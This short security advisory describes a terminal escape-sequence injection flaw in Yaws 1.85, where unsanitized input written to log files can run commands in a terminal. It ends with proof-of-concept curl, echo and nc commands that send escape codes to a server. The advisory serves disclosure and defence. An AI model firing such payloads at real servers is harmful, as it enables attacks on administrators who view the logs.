Yaws is prone to a command-injection vulnerability because it fails to adequately sanitize user-supplied input in logfiles.
|
|
|
|
Attackers can exploit this issue to execute arbitrary commands in a terminal.
|
|
|
|
Yaws 1.85 is vulnerable; other versions may also be affected.
|
|
|
|
The following example is available:
|
|
|
|
curl -kis http://www.example.com/%1b%5d%32%3b%6f%77%6e%65%64%07%0a
|
|
echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload
|
|
nc localhost 80 < payload |
